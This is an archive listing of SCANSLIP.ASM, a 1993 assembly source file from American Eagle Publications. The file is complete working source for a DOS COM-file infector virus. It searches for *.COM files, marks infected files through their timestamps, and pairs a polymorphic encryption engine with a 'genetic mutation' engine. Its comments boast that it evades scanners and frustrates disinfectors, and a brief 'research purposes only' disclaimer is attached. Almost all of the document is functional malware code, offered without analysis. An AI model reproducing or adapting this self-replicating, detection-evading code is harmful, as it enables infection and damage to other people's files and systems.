home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / PMUPDT13.ZIP / DGME.ZIP / SCANSLIP.ASM < prev    next >
Assembly Source File  |  1993-12-16  |  9KB  |  197 lines

  1. ;SCANSLIP (C) 1993 American Eagle Publications, Inc., All Rights Reserved!
  2.  
  3. ;A small mutation-engine based COM infector which encrypts both the
  4. ;virus and the COM file. A real bear for disinfectors.
  5.  
  6. ;This virus uses a modified Trident Polymorphic Engine in combination with the
  7. ;Darwinian Genetic Mutation Engine. It will sneak around scanners!
  8.  
  9. ;This Virus for research purposes only. Please do not release!
  10. ;Please execute it only on a carefully controlled system, and only
  11. ;if you know what you're doing!
  12.  
  13.                 .model  tiny            ;Tiny model to create a COM file
  14.  
  15.                 .code
  16.  
  17.                 extrn   crypt:near      ;mutation engine function
  18.                 extrn   host:near       ;host program
  19.                 extrn   DEFINE_RANDOM_DNA:NEAR,MUTATE_DNA:NEAR
  20.                 extrn   DNALOC:DWORD,DNALEN:WORD
  21.                 extrn   GENE_GET:NEAR,GENE_PTR:DWORD
  22.  
  23. ;DTA definitions
  24. DTA             EQU     0000H           ;Disk transfer area
  25. FSIZE           EQU     DTA+1AH         ;file size location in file search
  26. FNAME           EQU     DTA+1EH         ;file name location in file search
  27.  
  28.                 ORG     100H
  29.  
  30. ;******************************************************************************
  31. ;The virus starts here.
  32.  
  33. VIRSTART:
  34.                 call    GETLOC
  35. GETLOC:         pop     si
  36.                 sub     si,3                            ;heres where virus starts
  37.                 push    si
  38.                 mov     ax,ds
  39.                 add     ax,1000H
  40.                 mov     es,ax                           ;upper segment is this one + 1000H
  41.                 mov     di,100H                         ;move virus there at offset 100H
  42.                 mov     cx,OFFSET HOST - 100H
  43.                 rep     movsb                           ;this will louse the infection up if run under debug!
  44.                 mov     ds,ax                           ;set ds to high segment
  45.                 push    ds
  46.                 mov     ax,OFFSET FIND_FILE
  47.                 push    ax
  48.                 retf                                    ;jump to high memory segment
  49.  
  50. ;Now it's time to find a viable file to infect. We will look for any COM file
  51. ;and see if the virus is there already.
  52. FIND_FILE:
  53.                 pop     si
  54.                 mov     [HOSTOFS],si                    ;need this in high memory
  55.                 xor     dx,dx                           ;move dta to high segment
  56.                 mov     ah,1AH                          ;so we don't trash the command line
  57.                 int     21H                             ;which the host is expecting
  58.                 mov     dx,OFFSET COMFILE
  59.                 mov     ch,3FH                          ;search for any file, no matter what attribute (note: cx=0 before this instr)
  60.                 mov     ah,4EH                          ;DOS search first function
  61.                 int     21H
  62. CHECK_FILE:     jnc     NXT1
  63.                 jmp     ALLDONE                         ;no COM files to infect
  64. NXT1:           mov     dx,FNAME                        ;first open the file
  65.                 mov     ax,3D02H                        ;r/w access open file, since we'll want to write to it
  66.                 int     21H
  67.                 jc      NEXT_FILE
  68.                 mov     bx,ax                           ;put file handle in bx, and leave it there for the duration
  69.                 mov     ax,5700H                        ;get file attribute
  70.                 int     21H
  71.                 mov     ax,cx
  72.                 xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  73.                 xor     dx,dx
  74.                 mov     cx,10
  75.                 div     cx
  76.                 cmp     dx,3
  77.                 jnz     INFECT_FILE                     ;not 3, go infect
  78.  
  79. NEXT_FILE:      mov     ah,4FH                          ;look for another file
  80.                 int     21H
  81.                 jmp     SHORT CHECK_FILE                ;and go check it out
  82.  
  83. COMFILE         DB      '*.COM',0
  84. HOSTOFS         DW      0
  85.  
  86. ;When we get here, we've opened a file successfully, and read it into memory.
  87. ;In the high segment, the file is set up exactly as it will look when infected.
  88. ;Thus, to infect, we just rewrite the file from the start, using the image
  89. ;in the high segment.
  90. INFECT_FILE:
  91.                 push    bx                              ;save file handle
  92.  
  93.                 mov     ax,OFFSET DNA                   ;set up address of DNA
  94.                 mov     WORD PTR [DNALOC],ax            ;for DGME
  95.                 mov     WORD PTR [GENE_PTR],ax
  96.                 mov     ax,cs
  97.                 mov     WORD PTR [DNALOC+2],ax
  98.                 mov     WORD PTR [GENE_PTR+2],ax
  99.                 mov     ax,DNA_LENGTH
  100.                 mov     [DNALEN],ax
  101.                 mov     al,[FIRST]                      ;is this the first infection?
  102.                 or      al,al
  103.                 jz      MUTATE                          ;no, mutate the gene
  104.                 call    DEFINE_RANDOM_DNA               ;yes, define the DNA sequence to start
  105.                 jmp     SHORT DNA_MODIFIED
  106. MUTATE:         call    MUTATE_DNA
  107.  
  108. DNA_MODIFIED:   xor     al,al
  109.                 mov     [FIRST],al
  110.                 pop     bx
  111.                 push    bx
  112.                 mov     dx,OFFSET HOST                  ;end of virus
  113.                 mov     di,FSIZE                        ;if read in first, this gets trashed by the engine
  114.                 mov     cx,cs:[di]                      ;get file size for reading into buffer
  115.                 push    cx
  116.                 mov     ah,3FH                          ;DOS read function
  117.                 int     21H                             ;read host in
  118.  
  119.                 pop     cx
  120.                 add     cx,OFFSET HOST - 100H           ;size of code to encrypt
  121.                 mov     dx,100H                         ;ds:dx --> code to encrypt
  122.                 mov     bp,dx                           ;offset where execution begins
  123.                 mov     di,0
  124.                 mov     si,0
  125.                 mov     ax,ds                           ;set up work seg for tpe
  126.                 add     ax,1000H
  127.                 mov     es,ax
  128.                 mov     bl,1                            ;small model
  129.                 mov     ax,80H
  130.                 call    crypt
  131.                 pop     bx
  132.  
  133.                 push    dx
  134.                 push    cx
  135.  
  136.                 xor     cx,cx
  137.                 mov     dx,cx                           ;reset file pointer to start of file
  138.                 mov     ax,4200H
  139.                 int     21H
  140.                 pop     cx
  141.                 pop     dx
  142. ;                mov     di,FSIZE
  143. ;                add     cx,cs:[di]                      ;add host size to size to write
  144.  
  145.                 mov     ah,40H
  146.                 int     21H                             ;write virus+host to file
  147.  
  148.                 push    cs
  149.                 pop     ds                              ;ds=cs
  150.  
  151.                 mov     ax,5700H                        ;get date & time on file
  152.                 int     21H
  153.                 push    dx
  154.                 mov     ax,cx                           ;fix it
  155.                 xor     ax,dx
  156.                 mov     cx,10
  157.                 xor     dx,dx
  158.                 div     cx
  159.                 mul     cx
  160.                 add     ax,3
  161.                 pop     dx
  162.                 xor     ax,dx
  163.                 mov     cx,ax
  164.                 mov     ax,5701H                        ;and save it
  165.                 int     21H
  166.  
  167. EXIT_ERR:
  168.                 mov     ah,3EH                          ;close the file
  169.                 int     21H
  170.  
  171. ;The infection process is now complete. This routine moves the host program
  172. ;down so that its code starts at offset 100H, and then transfers control to it.
  173. ALLDONE:
  174.                 mov     bx,[HOSTOFS]            ;relative offset of program
  175.                 sub     bx,100H                 ;bx=size of decrypt routine
  176.                 mov     ax,ss                   ;set ds, es to low segment again
  177.                 mov     ds,ax
  178.                 mov     es,ax
  179.                 push    ax                      ;prep for retf to host
  180.                 mov     dx,80H                  ;restore dta to original value
  181.                 mov     ah,1AH                  ;for compatibility
  182.                 int     21H
  183.                 mov     di,100H                 ;prep to move host back to original location
  184.                 mov     si,OFFSET HOST
  185.                 add     si,bx
  186.                 push    di
  187.                 mov     cx,sp                   ;move code, but don't trash the stack
  188.                 sub     cx,si
  189.                 rep     movsb                   ;move code
  190.                 retf                            ;and return to host
  191.  
  192. FIRST           DB      1                       ; = 1 if this is the 1st generation
  193. DNA_LENGTH      EQU     100H                    ;length of DNA for this virus
  194. DNA             DB      DNA_LENGTH dup (0)      ;DNA for this virus
  195.  
  196.                 END     VIRSTART
  197.